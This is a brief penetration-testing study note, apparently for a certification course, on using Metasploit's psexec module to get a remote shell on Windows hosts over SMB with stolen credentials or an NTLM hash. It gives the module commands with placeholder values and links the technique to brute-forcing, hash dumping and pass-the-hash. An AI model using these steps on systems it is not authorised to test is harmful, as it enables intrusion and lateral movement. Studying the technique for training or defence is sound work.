PsExec: remote command execution over SMB
Microsoft's lightweight telnet replacement for running commands over SMB with valid credentials.
msfconsole·1 min read··INE Certification
PsExec authenticates over SMB and executes processes on a remote Windows system under any account you have valid credentials (or a hash) for. It’s functionally similar to RDP, except you’re sending commands rather than controlling an entire session.
Metasploit module
# Metasploit's psexec module
use exploit/windows/smb/psexec
set RHOSTS <target_ip>
set SMBUser <username>
set SMBPass <password_or_ntlm_hash>
runNotes
- Once you have legitimate SMB credentials (brute-forcing or hash dump), PsExec is usually the fastest path to a shell.
- It’s the same mechanic underlying pass-the-hash attacks against SMB, since the module accepts an NTLM hash in place of a password.
Related
- SMB exploitation: brute-force then PsExec, or EternalBlue
- Windows hash dumping and pass-the-hash: where the hash comes from
- CrackMapExec: validate credentials across SMB before using them
- SMB & NetBIOS enumeration: finding the target and shares first